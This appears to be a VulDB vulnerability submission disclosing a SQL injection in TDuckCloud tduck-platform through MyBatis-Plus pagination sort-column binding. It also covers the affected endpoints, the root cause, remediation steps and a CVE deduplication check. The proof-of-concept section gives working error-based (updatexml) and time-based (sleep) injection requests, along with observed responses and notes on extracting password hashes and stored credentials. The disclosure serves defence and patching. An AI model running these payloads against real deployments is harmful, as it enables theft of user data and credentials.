| Title | TDuckCloud tduck-platform 5.1,master < ea7f0fae7cb0fd998a3284c11addce689350cd69 SQL Injection |
|---|
| Description | TDuckCloud tduck-platform binds the MyBatis-Plus Page object directly as a Spring web command object in multiple paginated query endpoints and passes it to IService.page(). MyBatis-Plus 3.5.3's PaginationInnerInterceptor.concatOrderBy() concatenates OrderItem.getColumn() into the SQL ORDER BY clause without any validation (hardened only in MyBatis-Plus >= x.x.x.x). Spring's data binder populates indexed properties from the query string, so a remote attacker with a low-privileged account (registration is open) can inject arbitrary SQL expressions via the orders[0].column parameter, achieving full database read access through error-based or time-based blind injection.
Affected endpoints (Page bound directly from the request):
- GET /form/theme/page (any registered user) - tduck-api/src/main/java/com/tduck/cloud/api/web/controller/FormThemeController.java:45
- GET /form/template/category/page (any registered user) - FormTemplateController.java:113
- GET /mange/user/page (admin) - UserManageController.java:43
- GET /sync/form/data (form owner apiKey) - SyncDataController.java:62
Root cause chain:
1. Pagination interceptor registered: tduck-api/src/main/java/com/tduck/cloud/api/config/MybatisPlusConfig.java:25-28
2. Page bound directly from request (see endpoints above); Spring binds orders[0].column from the query string into Page.orders (List of OrderItem)
3. MyBatis-Plus 3.5.3 PaginationInnerInterceptor emits OrderItem.column verbatim into ORDER BY without filtering
Aggravating factor: the global exception handler (tduck-api/src/main/java/com/tduck/cloud/api/exception/BaseExceptionHandler.java:70-74) returns internal exception messages to the client, so MySQL errors (including updatexml exfiltration payloads and the full injected SQL statement) are reflected in the HTTP 500 JSON response, turning a blind injection into a trivial error-based one.
Proof of concept (verified on a locally deployed instance built from master HEAD, MySQL 8.0.36, official docker/init-db seed data; no third-party or production system was tested):
Prerequisites:
1. Indexed property binding requires URL-encoded brackets: orders%5B0%5D.column (raw brackets are rejected by Tomcat).
2. The target table must be non-empty - MySQL does not evaluate ORDER BY expressions for zero-row results. A normal user can insert one row via POST /form/theme (which itself lacks an admin check) before exploiting /form/theme/page.
Steps:
1. Register an account and log in to obtain a token:
POST /login/account {"account":"[email protected]","password":"password"}
(token in response data.token; passed via the "token" request header)
2. (If fm_form_theme is empty) insert one theme row:
POST /form/theme Header: token: <TOKEN> {"name":"x","style":1,"headImgUrl":"x"}
3. Error-based injection - enumerate table names:
GET /form/theme/page?size=10¤t=1&orders%5B0%5D.asc=true&orders%5B0%5D.column=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
Header: token: <TOKEN>
Observed response (HTTP 500):
{"code":500,"msg":"### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~ac_user~' ... ### SQL: SELECT ... FROM fm_form_theme ORDER BY updatexml(1,concat(0x7e,(select table_name from information_schema.tables ..."}
Iterating limit N,1 enumerates every table (verified sequence: ac_user, ac_user_authorize, ac_user_token, fm_form_template, ...). Batch enumeration via group_concat(table_name) with substr() paging also verified. The response also discloses the full injected SQL statement.
4. Time-based blind variant (works even if error messages are suppressed):
orders%5B0%5D.column=(select sleep(3)) -> response time ~3.02 s (baseline 0.07 s)
The same technique with information_schema.columns and substr() paging over arbitrary target tables allows full database exfiltration (user password hashes, personal data, form definitions and collected submissions, third-party credentials in sys_env_config).
Impact: any registered user can read the entire database, including password hashes of all users (admin included), personal information (emails, phone numbers), all form definitions and collected submission data, and third-party credentials stored in sys_env_config (OSS/SMS/AI/WeChat keys). Dumped admin credentials enable full platform takeover.
Remediation:
1. Upgrade MyBatis-Plus to >= x.x.x.x (PaginationInnerInterceptor adds sort-column injection checks), or
2. Do not web-bind Page directly: accept current/size as plain parameters, construct new Page<>(current, size) server-side, and whitelist any client-supplied sort columns;
3. Return a fixed generic message for unhandled exceptions instead of e.getMessage().
Deduplication: checked against all existing CVEs for this product - none covers this injection point:
- CVE-2023-37733: arbitrary file upload (different class)
- CVE-2023-51805: SQLi via getFormKey in FormDataMysqlService.java (different parameter/sink)
- CVE-2025-0558: SQLi via color in QueryProThemeRequest.java (different parameter/sink)
- CVE-2025-7888: SQLi via formKey in UserFormDataMapper.java (different parameter/sink)
- CVE-2025-8756: privilege escalation in AuthorizationInterceptor (different class)
- CVE-2025-57631: SQLi via file-upload module /user/form/data/download/file (different endpoint/sink)
This submission concerns SQL injection through MyBatis-Plus pagination sort-column binding (orders[].column), a distinct injection point.
|
|---|
| User | p5092 (UID 99952) |
|---|
| Submission | 07/20/2026 10:58 (2 months ago) |
|---|
| Moderation | 09/22/2026 18:18 (2 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 408522 [TDuckCloud tduck-platform up to 5.3 Pagination Inner Interceptor MybatisPlusConfig.java PaginationInnerInterceptor.concatOrderBy orders[0].column sql injection] |
|---|
| Points | 17 |
|---|